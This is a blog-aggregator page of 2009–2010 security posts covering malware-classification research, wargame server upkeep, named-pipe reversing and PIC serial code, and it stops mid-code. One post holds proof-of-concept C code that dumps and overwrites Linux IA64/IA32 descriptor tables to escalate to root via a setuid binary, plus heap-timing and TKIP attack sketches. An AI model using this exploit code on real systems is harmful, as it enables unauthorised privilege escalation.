OverTheWire

January 29, 2010

Silvio Cesare's Blog

Classification of Malware Using Structured Control Flow


I am making available my paper from the AusPDC conference http://sites.google.com/site/silviocesare/academicpublications. Any feedback or comments would be greatly appreciated.

by silviocesare at January 29, 2010 02:00 AM

January 28, 2010

Singularity - Steven Van Acker

exams are done


I only had 1 exam, but at least its over and I think it went well. The last couple weeks I've finished GTA4 on my PS3 and did some work on my thesis. I finished a buttugly version of Conway's game of life using dirty pointer arithmatic tricks.

The idea was to make spaghetti code, just so I could have a testcase for my thesis :)

by Steven (noreply@blogger.com) at January 28, 2010 01:53 AM

January 07, 2010

Singularity - Steven Van Acker

the wargames are back


The reinstallation of victoria was successful. 2 of the 4 virtual machines on it were converted and started without much trouble. The 3rd however was very troublesome. The VMWare snapshot would not load in virtualbox and I feared I had damaged the (original) disk by trying to boot from it. After a lot of fiddling I managed to dump the disk with all snapshots merged, converted it back to vmware format and loaded it in virtualbox.

The final virtual machine I resurrected was the games machine which hosts 4 wargames: vortex, semtex, drifter and krypton.

by Steven (noreply@blogger.com) at January 07, 2010 09:35 PM

January 04, 2010

Singularity - Steven Van Acker

getting rid of gentoo


My good intentions to have the OTW wargames up and running by the end of the week are being tampered by bad fortune in the form of an outdated gentoo installation.
We currently use a VMWare setup hosted by an old gentoo installation, The gentoo installation is so old that it can't even upgrade itself. I've tried it with some sad results. After it destroyed its own portage system and I had to revive it, it would not compile virtualbox-ose because of conflicts among bash, portage, util-linux and coreutils. Installing virtualbox-bin worked, but the kernel module required by virtualbox wouldn't load because the kernel didn't export the correct symbols.

I recompiled the kernel but didn't have the guts to reboot the server because if it doesn't come back, there is nothing I can do (I have no console access or anyone to contact at the datacenter)

Finally, I tried to install qemu, which kindof worked, except that qemu segfaulted all the time.

So I'm fed up with gentoo and will attempt an exciting "viral" hack: repurpose the swap partition to install a bootstrap linux and boot into that, and then erase the root partition and install a new linux on it.

Before I do any of that, I want to test out this procedure on a local setup.

by Steven (noreply@blogger.com) at January 04, 2010 12:18 AM

January 01, 2010

Singularity - Steven Van Acker

Happy newyear !


For the last couple of weeks, my fingers have been itching to work on a bunch of projects and keep a log about them. Then it occurred to me that I have a blog and that I managed to neglect it !
So let me fix that right now.

The past 6 months have been quite active.

From July through October, I was a member of the K.U.Leuven iGEM team creating the essencia coli bacterium that would create vanillin based on the amount of blue light received. The ingenious part of this bacterium was that it included a feedback loop to regulate the amount of vanillin in the environment.

In August I spent all of my time studying for 2 exams I had to take again: Systems theory and Thermodynamics. I passed both exams very well, but the exams rate as some of the worst experiences I've had taking exams.

At the end of october, beginning of november I went to MIT in Boston for the iGEM jamboree. Afterwards, most of the team went to New York. It was all great fun :) Pictures are on facebook

I started working on my thesis in september. It was first about lowlevel security in android smartphones, but the subject has now been altered to lowlevel attacks and defenses in general. Specifically, I'm doing research on data only attacks, but I'm not allowed to blog about it.

I'm now taking the master in engineering sciences: computerscience curriculum in 1 year, and the outlook is good. I plan to finish by june 2010. I've enrolled in the following courses:


  • Capita selecta: human-machine communication

  • French in the enterprise environment

  • Formal systems and applications

  • Athens course on "remotely controlled physics laboratories" at IST in Lisbon

  • Internet infrastructure

  • Multiagent systems



The first 2 courses run both semesters, the next 2 are in the 1st semester, the last 2 in the second semester.

The athens course from 14-21 november was very nice. More than the course, I appreciated the social interaction with my fellow students, all from foreign universities.

What else ?

I'm still active in the OverTheWire community. There was a breakin in one of the wargames servers and the cracker sniffed all network traffic. Because of this, the wargames server was taken down and is still not up. I am revising the current network topology and plan to have everything back up and running by the end of this week (fingers crossed)

I'm also planning to start working on a DIY CNC machine, but I don't know when those plans will become reality.

by Steven (noreply@blogger.com) at January 01, 2010 01:33 PM

December 26, 2009

Silvio Cesare's Blog

Abstract for AusPDC


http://www.acsw2010.scitech.qut.edu.au/acsw2010/Program_schedules/Abstracts.pdf

Classification of Malware Using Structured Control Flow

Malware is a pervasive problem in distributed computer and network systems. Identification of malware variants provides great benefit in early detection. Control flow has been proposed as a characteristic that can be identified across variants, resulting in flowgraph based malware classification. Static analysis is widely used for the classification but can be ineffective if malware undergoes a code packing transformation to hide its real content. This paper proposes a novel algorithm for constructing a control flow graph signature using the decompilation technique of structuring. Similarity between structured graphs can be quickly determined using string edit distances. To reverse the code packing transformation, a fast application level emulator is proposed. To demonstrate the effectiveness of the automated unpacking and flowgraph based classification, we implement a complete system and evaluate it using synthetic and real malware. The evaluation shows our system is highly effective in terms of accuracy in revealing all the hidden code, execution time for unpacking, and accuracy in classification.

by silviocesare at December 26, 2009 01:37 PM

December 21, 2009

Silvio Cesare's Blog

See you at IEEE AINA


I will be presenting my research on a real-time flowgraph based malware classification system at the IEEE Advanced Information Networking and Applications (AINA) conference in Perth, Australia, April 2010 – http://www.aina2010.curtin.edu.au/.

by silviocesare at December 21, 2009 09:52 AM

November 17, 2009

Silvio Cesare's Blog

An interesting paper on flowgraph classification


I thought I would write a small summary on an interesting paper that appeared at ACM CCS. http://www.ecsl.cs.sunysb.edu/tr/TR246.pdf is a link to the paper ‘Large-Scale Malware Indexing Using Function-Call Graphs’ which originates from Symantec.

Essentially the system identifies variants of malware similar to http://www.vxclass.com. It looks at the call graphs of particular programs and identifies the similarity to known call graphs of malware. If the similarity is high, then a malware variant has been identified. Identifying call graph similarity was introduced in http://www.f-secure.com/weblog/archives/carrera_erdelyi_VB2004.pdf. Call graph similarity is found by identifying common nodes in the graph. These nodes can be identified as having identical control flow graphs, or having the same crc32 over the function represented by the node, and any other ways you can think of. The Symantec paper identifies that similarity is a function of the graph edit distance. The edit distance is the number of operations that must be performed to convert one thing to another. Incidentally, there are related edit distances such as tree edit distances, string edit distances and lots of variations depending on what type of operations are allowed.  In fact, my paper to be published in January uses one of the edit distances I just mentioned. It’s a useful concept.

Vxclass builds graph similarity by the use of a greedy node matching algorithm. It actually tries to find unique nodes first so the greedy heuristic isn’t a problem. But presumably it falls back to the greedy solution once unique solutions are exhausted. The Symantec paper tries to find a minimum cost matching using a bipartite graph matching algorithm based on the Hungarian algorithm. This is novel.

The other novel feature with the Symantec paper is the use of metric trees to speed up searching the call graph database. A metric space (http://en.wikipedia.org/wiki/Metric_space) is defined by a distance function between two particular points or objects . The distance function must have certain conditions that are true, such as d(x,y) >= 0, d(x,y) == d(y,x) and d(x,x) == 0. Also the triangle inequality ( http://en.wikipedia.org/wiki/Triangle_inequality) must hold which is d(x, z) ≤ d(x, y) + d(y, z). If these conditions are true for all objects or points, then that’s great, because performing spatial searches on the data can take advantage of these properties and perform much faster. A metric tree takes advantage of the properties of a metric space and can perform spatial queries identifying similar or nearest neighbours of a point in that space faster than comparing each point or element in the space.

Using the earlier described notion of graph matching to show distance is approximately the same as the graph edit distance. The graph edit distance forms a metric space.  The Symantec paper uses vantage point trees (http://en.wikipedia.org/wiki/VP-tree) but there are other trees such as BK Trees which perform well also. I seem to recall reading that vp trees are most suited for when the distance function is a real number. BK Trees only work on integer distances. I don’t know why Symantec chose vp trees over bk trees – maybe someone else can answer? Perhaps there is no significant difference.

The novelty of the Symantec paper is using metric trees to speed up the similarity search.

The final novel contribution in the Symantec paper is an ordering each malware by specific features such as the number of instructions the malware has. The database is arranged in a b+tree and vp tree structures are kept at the nodes. Then when indexing a malware, they can cull out all malware that is not reasonably close to the features of the input binary, before searching each vp tree in the b+tree buckets. This is a pretty simple optimisation which I think can be improved upon than what was demonstrated in the paper. But Symantec still did a good job in what they did.

This is a nice paper overall that improves malware indexing state of the art. It’s not a revolutionary paper really, but each area has contributions that improve what has previously been investigated. The time it takes to classify a sample is interesting – about 100 seconds for a database size of 100k malware. They want to have it scale up to a million malware.

by silviocesare at November 17, 2009 09:43 AM

October 19, 2009

Silvio Cesare's Blog

See you at AusPDC


I received notification tonight that I have been accepted to present at the AusPDC conference. I’ll post an abstract when the conference website publishes it online.

by silviocesare at October 19, 2009 10:18 AM

October 16, 2009

andrewg's website

Timing attacks and heap exploitation

(added 17/10/2009)

While recently working on a heap overflow, I wanted to be able to exploit remote unknown targets that have executable memory. Just for completeness, Exec-shield and PaX would not have prevented exploitation on the distro's I checked, they just required a couple more offsets. Oh, and -D_FORTIFY_SOURCE=2 does not help either.

Anyways, the vulnerability has some specialities which make it slightly more fun than normal.. During input processing, the heap layout can change considerably, with enough massaging, you can either overwrite a structure with a pointer to a structure which has a function pointer, or cause it to write some data we semi control to a pointer we can control. Given the situation, both are relatively easy to exploit, although read only GOT entries will make the latter method harder against unknown targets. (There are function pointers on the .bss, however it requires a lot more massaging and/or luck to hit in that regards).

Because trying X input strings (where X should allow you to hit it with Y probability) for each address would end up being a lot of attempts / crashes, it would be better to try and isolate a single suitable input strings, then loop over potential memory ranges looking for our code. However, the question then is, "Is it feasible to do so?"

In the case of this particular vulnerability, it is feasible to do that via using information gained from how long it takes to shut down the socket / remote process to crash. The information we gather from this is the time between sending the string, and how long it takes for the socket to shut down, which relates to how much processing was done in the remote process.

If it closes very quickly, it implies we have hit a exit(1) code path due to the heap modification early on. If it takes too long, we've hit another exit(1) code path, but after it's done a lot of heap processing first.

If it hits a little bit before our time, it usually means the massaging was off a little bit, a bit after tends to mean the same.. However, there's enough difference to usually identify the ideal case.

Of course, using timing information is only useful in certain situations (ideally, you're close to the target machine, low/little load on each end, network load is low/lowish).. those challenges can be reduced though by owning a machine close to your target. Also it helps if the vulnerability you're targetting gives you useful timing information.

The below graph information was generated via:

trigger_str = generate_potential_trigger_string()
start = time.time()
skt.send(trigger_str)
rlist, wlist, xlist = select.select([skt], [], [skt], 1.0)
stop = time.time()
difference = stop - start

and doing that 200 times, sorting, and putting the results into a text file, and having gnuplot graph it for us.

While it could probably be argued that python isn't ideal for gathering such precise timing information, we'll ignore that for now. It's working for this demonstration, which is all I care about :p

In the below graph, red crosses are "uninteresting", and green ones are "interesting". The "interesting" state is a crash that's directly related to the function pointer cleanup code. The blue dot is a crash relating to memset() (usually a pointer we control), and purple is an "other" crash (usually due to our pointer not being aligned properly due to allocation layout).

http://felinemenace.org/~andrewg/Timing_attacks_and_heap_exploitation/all_results.png

The above graph paints an interesting picture.. at the beginning, there are some very early exit(1) codepaths, then more around the below the 0.005 time marker.. At around the 0.005 and 160 intersect, we start getting crashes due to our input corrupting the processes heap (blue/purple/green) in a useful way and taking successively longer to crash.

Once we have one of the green crashes, we can use that to bruteforce the section of memory that will lead to code execution.

In closing, I hope this brief article shows some of the benefits that timing can provide when suitable and when exploiting targets when you have little information available.

October 16, 2009 01:00 PM

October 10, 2009

andrewg's website

Random Update

(added 11/10/2009)

This posting is to clear a backlog of things I've been meaning to post at some stage. They're mostly unfinished due to a lack of motivation.. but here goes:

Potential arch/ia64/ia32/ bug

(started around 23/5/2008)

While recently doing some random research, I was browsing the linux 2.6.25.2 kernel source, in arch/ia64/ia32/. While I was reading over the binfmt_elf32.c file, I stumbled across an interesting comment in the function ia64_elf32_init():

/*
 * Map GDT below 4GB, where the processor can find it.  We need to map
 * it with privilege level 3 because the IVE uses non-privileged accesses to these
 * tables.  IA-32 segmentation is used to protect against IA-32 accesses to them.
 */

I thought it was particularly interesting in how they mentioned that segmentation would be used to protect access and modification of the applicable data.

Please keep in mind that I don't have an IA64 box to test this on, so it's currently speculation based on what information I can gather. If you do have a IA64 with IA32 linux emulation feel free to test and report back to me, I'd be interested in finding out :)

Memory layout

The code seems to lay memory out with a 3GB, with a couple of pages above the 3GB mark for GDT, LDT, and TSS.

From the ia32priv.h file, we have:

#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE

/*
 * The system segments (GDT, TSS, LDT) have to be mapped below 4GB so the
 * IA-32 engine can
 * access them.
 */
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

Where IA32_PAGE_OFFSET #define'd to 0xc0000000 in include/asm-ia64/ia32.h.

So how can we access the data

There appears to be several ways we can access the data. The easiest is probably via the standard system calls that take a pointer and uses it in way, such as read() or write(). Additionally, we can directly modify the data via creating a new descriptor and setting the limit to 4GB (which can be done via the modify_ldt() syscall).

Using the read() / write() mechanism is probably the best way to manipulate the data, and probably most flexible.

Creating a new descriptor is easy enough, the below code shows how to:

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/ldt.h>
#include <stdio.h>

#define TYPE user_desc // modify_ldt_ldt_s for 2.4

int do_ldt(int num, unsigned long base, int type)
{
        struct TYPE ldt_entry = {
                num, // entry_number
                (unsigned long int) (base), // base_address
                0xfffff, // limit, 4G
                1, // seg_32bit
                type, // contents
                0, // read_exec_only
                1, // limit_in_pages
                0, // seg_not_present
                1 // usable
        };
        return modify_ldt(1, &ldt_entry, sizeof(struct TYPE)) == 0;
}

int main(int argc, char **argv)
{
        if(do_ldt(0, 0, MODIFY_LDT_CONTENTS_DATA) == 0) {
                printf("Failed to modify the ldt\n");
                exit(EXIT_FAILURE);
        }
        // the new segment will be accessible via 0x07, (0 * 8) | user priv | ldt etc.
        __asm__ volatile("pushw $7;\
                          popw %ds;");
        printf("We've changed our ds segment descriptor\n");
}

If the above code is being compiled on a 2.4 kernel, the struct user_desc will need to be changed to struct modify_ldt_ldt_s, which can be done via changing the TYPE define above. This should allow direct access according to the comment above. Make sure it's compiled in 32 bit mode, and appropriate emulation options/modules are active.

The code in 2.6.25.2 doesn't do any checking in what memory is now accessible in ia32_ldt.cwrite_ldt() function.

Proof of concept

I'd like to repeat again that I don't have access to a IA64 box to test this out, but I'm going to attempt to write a couple of proof of concept exploits. Let me know if it works :)

Dumping descriptor tables

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>

#define PAGE_SIZE               4096
#define IA32_PAGE_OFFSET        0xc0000000
//#define IA32_PAGE_OFFSET      (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

unsigned char *x;

int main(int argc, char **argv)
{
        int fd;

        fd = open("gdt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open gdt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped GDT\n");

        fd = open("tss.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open tss.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_TSS_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped TSS\n");

        fd = open("ldt.bin", O_WRONLY|O_TRUNC|O_CREAT, 0600);
        if(fd == -1) {
                printf("Failed to open ldt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_LDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        close(fd);
        printf("Dumped LDT\n");
}

Gaining ring0

After thinking about it a little bit, there may be little point in getting ring0 itself, but I haven't completely read through the itanium manuals.

According to the docs I've read so far, io ports need to be explicitly mapped in by the operating system, and enabled. Other "privileged" instructions generate traps.

If ring0 would be useful in some capacity, it could be gained by setting appropriate LDT entries if needed, and overwriting the TSS saved CS register and modifying the privilege level.

Privilege escalation

However, there would be a way to gain additional privileges if there exists a setuid root x86 binary installed on the system. This would be done via manipulating the GDT base address so that upon execve() of a suid process, the entry point would end up pointing to custom code (probably on the stack), due to segmentation base. From what I've read of the itanium manual, segmentation is used to calculate the real address it accesses (ala x86)

Setting the GDT base would also have the side effect of probably crashing any existing IA32 processes.

Theory:

  • Calculate where the initial entry point is going to be

  • Calculate where our stack arguments are going to be

  • Or a suitable .text / library code location

  • Modify the GDT base value for USER_CS

  • Execute a setuid x86 binary.

Randomisation probably won't be an issue due to the personality() syscall :)

Initial entry point will be the entry point in the binary if it's not dynamically linked, if it's dynamic linked, the loaders initial entry point will be the entry point.

Here's some sample code I came up with; I don't know if it works or not since I don't have access to the architecture to test. Don't forget to compile in 32bit mode (-m32 may suffice). If your compiler doesn't generate suitable binaries, compile on a x86 box.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>

#define PAGE_SIZE               4096
#define IA32_PAGE_OFFSET        0xc0000000
//#define IA32_PAGE_OFFSET      (x == 0 ? x = malloc(4 * 4096) : x)
#define IA32_STACK_TOP          IA32_PAGE_OFFSET
#define IA32_GATE_OFFSET        IA32_PAGE_OFFSET
#define IA32_GATE_END           IA32_PAGE_OFFSET + PAGE_SIZE
#define IA32_GDT_OFFSET         (IA32_PAGE_OFFSET + PAGE_SIZE)
#define IA32_TSS_OFFSET         (IA32_PAGE_OFFSET + 2*PAGE_SIZE)
#define IA32_LDT_OFFSET         (IA32_PAGE_OFFSET + 3*PAGE_SIZE)

#define __USER_CS      0x23
#define __USER_DS      0x2B


unsigned char *x;

/* borrowed from arch/ia64/ia32/ia32priv.h */

#define IA32_PAGE_SHIFT                        12      /* 4KB pages */

#define __USER_CS      0x23
#define __USER_DS      0x2B

#define IA32_SEG_BASE           16
#define IA32_SEG_TYPE           40
#define IA32_SEG_SYS            44
#define IA32_SEG_DPL            45
#define IA32_SEG_P              47
#define IA32_SEG_HIGH_LIMIT     48
#define IA32_SEG_AVL            52
#define IA32_SEG_DB             54
#define IA32_SEG_G              55
#define IA32_SEG_HIGH_BASE      56

#define IA32_SEG_DESCRIPTOR(base, limit, segtype, nonsysseg, dpl, segpresent, avl, segdb, gran) \
               (((limit) & 0xffff)                                                              \
                | (((unsigned long) (base) & 0xffffff) << IA32_SEG_BASE)                        \
                | ((unsigned long) (segtype) << IA32_SEG_TYPE)                                  \
                | ((unsigned long) (nonsysseg) << IA32_SEG_SYS)                                 \
                | ((unsigned long) (dpl) << IA32_SEG_DPL)                                       \
                | ((unsigned long) (segpresent) << IA32_SEG_P)                                  \
                | ((((unsigned long) (limit) >> 16) & 0xf) << IA32_SEG_HIGH_LIMIT)              \
                | ((unsigned long) (avl) << IA32_SEG_AVL)                                       \
                | ((unsigned long) (segdb) << IA32_SEG_DB)                                      \
                | ((unsigned long) (gran) << IA32_SEG_G)                                        \
                | ((((unsigned long) (base) >> 24) & 0xff) << IA32_SEG_HIGH_BASE))
/* </borrowed> */

int main(int argc, char **argv)
{
        int fd;
        unsigned char scratch[4096];
        unsigned long long *gdt = (unsigned long *)(scratch);
        unsigned long long entry_point;

        if(argc != 2) {
                printf("%s <gdt offset>\n", argv[0] ? argv[0] : ";PpP");
                printf("--> 0xbfffe000 (or wherever your r00tc0de is- <libc entry point> = offset, i think ;p\n");
                printf("--> offset probably needs to be aligned so it can be shifted\n");
                printf("--> in hex\n");
                exit(EXIT_FAILURE);
        }

        entry_point = strtoul(argv[1], 0, 16);

        fd = open("gdt.bin", O_RDWR|O_TRUNC|O_CREAT, 0600);
        unlink("gdt.bin");
        if(fd == -1) {
                printf("Failed to open gdt.bin: %m\n");
                exit(EXIT_FAILURE);
        }
        if(write(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to write() 4096 bytes\n");
                exit(EXIT_FAILURE);
        }
        printf("--> Dumped GDT\n");
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek to start of fd\n");
                exit(EXIT_FAILURE);
        }
        if(read(fd, scratch, 4096) != 4096) {
                printf("Unable to read 4096 bytes from our fd\n");
                exit(EXIT_FAILURE);
        }
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek to start of fd\n");
                exit(EXIT_FAILURE);
        }

        // borrowed from ia32_support.c :P, but modified
        gdt[__USER_CS >> 3] = IA32_SEG_DESCRIPTOR(entry_point, (IA32_GATE_END-1) >> IA32_PAGE_SHIFT,
                0xb, 1, 3, 1, 1, 1, 1);

        if(write(fd, scratch, 4096) != 4096) {
                printf("Unable to write modified data back\n");
                exit(EXIT_FAILURE);
        }
        if(lseek(fd, 0, SEEK_SET) == (off_t)(-1)) {
                printf("Unable to seek backwards\n");
                exit(EXIT_FAILURE);
        }
        printf("--> If things go well, then this should crash once read() returns to userspace. If not, hmm! maybe we moved to another processor afterwards or so?\n");
        if(read(fd, IA32_GDT_OFFSET, 4096) != 4096) {
                printf("Failed to read() 4096 bytes :(\n");
                exit(EXIT_FAILURE);
        }
        printf("Hrm. It worked. but it hasn't crashed. Maybe re-run a couple of times? Maybe I've missed something?\n");
        close(fd);

}

At any rate, spender tested the code up to dumping GDT, which goes to show it can be accessed, and presumably modified (I suspect you could mprotect() if it is made read only at some stage).

At any rate, I haven't been able to test due to lack of access to hardware :p

TKIP Conspiracy fun

(started 14/12/2008)

When the TKIP flaw came to light (which allowed you to send a couple of packets to a client station), I played around with the idea of using an attacker controlled machine on the internet to help "conspire" against the client station.

By using the UIP TCP/IP stack, I wrote a program to help attack the client by the following means:

Wireless attacker -> Does TKIP attack, can send some packets to client machine
Wireless attacker -> Sends SYN packets to client machine on "common"
                     vulnerable ports (139/445/80/23/etc), with source IP of
                     an internet machine we control
Internet Machine -> Looks for SYN|ACK packets, if found, sets up a suitable
                    UIP connection structure, and fixes up the seq/ack
                    numbers. Machine then creates a local socket, and buffers
                    the data between local socket, and UIP connection to the
                    attacked machine.
Wireless attacker -> Can then attack the client machine with a bunch of
                     standard exploits

This type of attack is highly dependant on the network infrastructure in use.. outgoing SYN|ACK's may not be NAT'd properly in NAT environments (due to no incoming SYN seen), firewalls may not allow outgoing connections, with an additional complication that the client attacked may have a firewall enabled, etc.

October 10, 2009 01:00 PM

September 10, 2009

Silvio Cesare's Blog

September 01, 2009

Silvio Cesare's Blog

Updates


I haven’t blogged for a few months. I’ve been busy finishing a prototype malware classification system based on flowgraph similarity. That has resulted in submitting a paper to the 8th Australasian Symposium on Parallel and Distributed Computing (AusPDC 2010) http://www.cse.unsw.edu.au/~rajivr/auspdc2010/. The system I developed and discussed in that submission is not fast enough for realtime use in desktop and EMail gateway AntiVirus.  To remedy that, I’ve also been working on a simpler flowgraph based classification system.  It detects less malware variants but performs in near realtime.  I’ve finished a basic prototype and hope to write up my results and submit to an ACM conference by the end of September.  I will write up more details about both systems after publication, which will be at earliest in January 2010.

by silviocesare at September 01, 2009 01:05 AM

August 06, 2009

bannedit's reverse engineering blog

Reverse Engineering Named Pipes

Named Pipes fall under the category of Interprocess Communications. This type of communication is typically used to share data between processes on the same computer or remote computers on the local network. Named Pipes interaction model is very similar to normal sockets except the communication happens over SMB/CIFS.

Detecting the use of named pipes is made rather simple thanks to the pipelist.exe tool released by sysinternals. Here is some sample output of the tool in action:

PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com

Pipe Name Instances Max Instances
--------- --------- -------------
TerminalServer\AutoReconnect 1 1
InitShutdown 2 -1
lsass 6 -1
protected_storage 2 -1
ntsvcs 4 -1
scerpc 2 -1
net\NtControlPipe1 1 1
SfcApi 2 -1
net\NtControlPipe2 1 1
net\NtControlPipe3 1 1
...


This displays the pipe name and number of instances. It also shows the user the number of max instances of the named pipe. A max instance value of -1 means the pipe can handle multiple instances simultaneously.

It is important to note that named pipes can be handled in two distinct ways when it comes to the security of those pipes. Firstly a LPSECURITY_ATTRIBUTES structure can be setup to define the security attributes of the named pipe. This influences the security restrictions put upon the named pipe and the amount of access allowed to clients interacting with the named pipe. Many times you will see the security descriptor given a NULL value which defines the default ACL (Access Control List). Additionally it is important to check if the named pipe is contained within the registry key HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lanmanserver/parameters/NullSessionsPipes. This key is used to determine the amount of authorization required for the named pipe. If the named pipe appears in this key it will allow Null Sessions which means no authentication is required to access the named pipe.

Now we know that named pipes are in use. But we need to track them down to find out what applications created them. Luckily sysinternals comes to the rescue once again with the tool filemon. Normally people think of filemon as a way of tracking which files are read from and written to during a processes execution. This tool also provides the option to monitor processes for named pipe creation and interaction. The option is available under the Volumes menu item. With the named pipe option checked you will then see all instances of interaction or creation of named pipes. (Note: Recently filemon and regmon were combined into Process Monitor for modern Windows Operating Systems such as Windows 2000 and up. Filemon does however, still work for the processes described above.)

Now hopefully, you have discovered which applications create a specific named pipe. Here comes the fun part. Finding the location within the binary code that actually creates the named pipe and interacts with clients.

When looking through the binary code the first thing to do is inspect the imports for CreateNamedPipe(). This the function used to create the named pipe. The following MSDN link describes the function and arguments better than I ever could: http://msdn.microsoft.com/en-us/library/aa365150(VS.85).aspx

Interacting with a client is rather simple. The ReadFile API is passed an hPipe handle which is created from the CreateNamedPipe() function. This will read data from the connected client. Additionally WriteFile is used to write reply messages back to the client. As you can see this is similar to socket communications except its just using normal file system related APIs to accomplish the job. So to find the code which interacts with the client connections following the hPipe value through the code should lead you down the right path. Additionally, clients communicate with the named pipe server using the CreateFile API to establish a connection and again using ReadFile and WriteFile to communicate accordingly .

by bannedit (noreply@blogger.com) at August 06, 2009 12:59 PM

July 06, 2009

Singularity - Steven Van Acker

PIC16f627A with RS232 and sdcc


Programming PICs in assembly can be challenging, but it gets to be a drag after a while. Especially when doing serial communications you start wondering: "wouldn't it be great if all this fiddly crap was in some kind of library ?"

I've been playing with sdcc (Small Device C Compiler) to write code for the PIC. Unfortunately at the time I was playing with it (in the middle of exams), there was no library code to do RS232 for the 16f627a (at least not in a blatantly obvious way). So instead of asking for directions like any sane person would do, I dove right in and wrote it myself.

Now that I've upgraded to Ubuntu Jaunty (which is such a resource hog btw), I wonder if the sdcc people have included some code for the 16f627a but haven't checked.

In any case, I'll post the code here for all of you to laugh at and for me to have a backup for when my harddisk dies (any minute now)

lib.h:


#ifndef __LIB_H
#define __LIB_H

#define USART_TX_INT_ON 0xff
#define USART_TX_INT_OFF 0x7f

#define USART_RX_INT_ON 0xff
#define USART_RX_INT_OFF 0xbf

#define USART_BRGH_HIGH 0xff
#define USART_BRGH_LOW 0xef

#define USART_CONT_RX 0xff
#define USART_SINGLE_RX 0xf7

#define USART_SYNC_MASTER 0xff
#define USART_SYNC_SLAVE 0xfb

#define USART_NINE_BIT 0xff
#define USART_EIGHT_BIT 0xfd

#define USART_SYNCH_MODE 0xff
#define USART_ASYNCH_MODE 0xfe

void usart_open(unsigned char, unsigned int);

void usart_putc(unsigned char);
unsigned char usart_getc(void);

unsigned char usart_busy(void);
unsigned char usart_drdy(void);

unsigned char usart_wait_and_read(void);
void usart_wait_and_write(unsigned char);

#endif /* __LIB_H */


lib.c:

#include <pic/pic16f627a.h>
#include "lib.h"

void usart_open(unsigned char config, unsigned int spbrg) { /* {{{ */
TXSTA = 0; // Reset USART registers to POR state
RCSTA = 0;

if(config & ~USART_ASYNCH_MODE)
SYNC = 1;

if(config & ~USART_EIGHT_BIT) {
TX9 = 1;
RX9 = 1;
}

if(config & ~USART_SYNC_SLAVE)
CSRC = 1;

/*
if(config & ~USART_SINGLE_RX)
CREN = 1;
else
SREN = 1;
*/

CREN = 1;
SREN = 1;

if(config & ~USART_BRGH_LOW)
BRGH = 1;
else
BRGH = 0;

/* TX interrupts */
TXIF = 0;

if(config & ~USART_RX_INT_OFF)
RCIE = 1;
else
RCIE = 0;

/* RX interrupts */
RCIF = 0;

if(config & ~USART_TX_INT_OFF)
TXIE = 1;
else
TXIE = 0;

SPBRG = (char)spbrg;

TXEN = 1;
SPEN = 1;

TRISB1 = 1; // set B1 to transmit
TRISB2 = 0; // set B2 to receive
}
/* }}} */

void usart_putc(unsigned char dat) { /* {{{ */
//if(TX9) {
// TX9D = 0;
// if(USART_Status.TX_NINE)
// TX9D = 1;
//}

TXREG = dat; // Write the data byte to the USART
}
/* }}} */
unsigned char usart_getc(void) { /* {{{ */
return RCREG;
}
/* }}} */

unsigned char usart_busy(void) { /* {{{ */
return !TRMT;
}
/* }}} */
unsigned char usart_drdy(void) { /* {{{ */
return RCIF;
}
/* }}} */

unsigned char usart_wait_and_read(void) { /* {{{ */
while(!usart_drdy());
return usart_getc();
}
/* }}} */
void usart_wait_and_write(unsigned char dat) { /* {{{ */
while(usart_busy());
usart_putc(dat);
}
/* }}} */


test.c :

#include <pic/pic16f627a.h>
#include "lib.h"

#define GPSIM_20Mhz_2400baud_BRGHlow 0x81
#define GPSIM_20Mhz_9600baud_BRGHlow 0x20

#define PIC_4Mhz_2400baud_BRGHlow 0x19
#define PIC_4Mhz_9600baud_BRGHhigh 0x19

static __code unsigned short __at(0x2007) _conf = _INTRC_OSC_NOCLKOUT;

unsigned char data_num[] = {
0x3f, 0x06, 0x5b, 0x4f, 0x66, 0x6d, 0x7d, 0x07, 0x7f, 0x6f
};

unsigned char data_alpha[] = {
0x77, 0x7c, 0x58, 0x5e, 0x79, 0x71
};

//unsigned char hex[] = "0123456789ABCDEF"; - this doesn't work yet
unsigned char hex[] = {
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'
};

void main()
{
unsigned char c = 'G';
